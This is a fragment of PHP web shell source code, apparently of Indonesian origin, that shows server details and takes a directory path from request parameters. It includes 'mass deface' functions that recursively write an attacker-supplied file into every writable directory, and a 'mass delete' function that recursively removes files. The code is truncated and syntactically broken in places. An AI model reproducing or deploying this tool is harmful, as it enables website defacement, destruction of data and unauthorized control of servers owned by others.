info server
Uname:
".php_uname()."
Software:
".$_SERVER['SERVER_SOFTWARE']."
PHP version:
".PHP_VERSION." [ PHP INFO ] PHP os:
".PHP_OS."
Server Ip:
".gethostbyname($_SERVER['HTTP_HOST'])."
Your Ip:
".ip()."
User:
$user ($uid) | Group:
$group ($gid)
Safe Mode: $sm
Disable Function:
$disfc
";
// tools nya
if(isset($_GET['path'])) {
$dir = $_GET['path'];
chdir($dir);
}else{
$dir = getcwd();
}
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
for($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if($i != $c_dir) {
}
//bisa
if(isset($_GET['mas_deface'])) {
echo "$_s";
function mas_kabeh($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$kotak = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($kotak, $isi_script);
} elseif($dirb === '..') {
file_put_contents($kotak, $isi_script);
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[
] $kotak
";
file_put_contents($kotak, $isi_script);
$▟ = mas_kabeh($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function mas_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$kotak = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($kotak, $isi_script);
} elseif($dirb === '..') {
file_put_contents($kotak, $isi_script);
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[
] $dirb/$namafile
";
file_put_contents($kotak, $isi_script);
}
}
}
}
}
}
//bisa
if($_POST['start']) {
if($_POST['tipe'] == 'massal') {
mas_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
} elseif($_POST['tipe'] == 'biasa') {
mas_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
}
}
echo "
";
}
if(isset($_GET['mass_delete'])) {
echo "$_s";
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$kotak = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
}else{
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($kotak)) {
echo "[
] $kotak
";
unlink($kotak);
$▟ = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
//bisa
if($_POST['start']) {
hapus_massal($_POST['d_dir'], $_POST['d_file']);
}
echo "
";
}else{
echo '
Upload gagal! '.er().'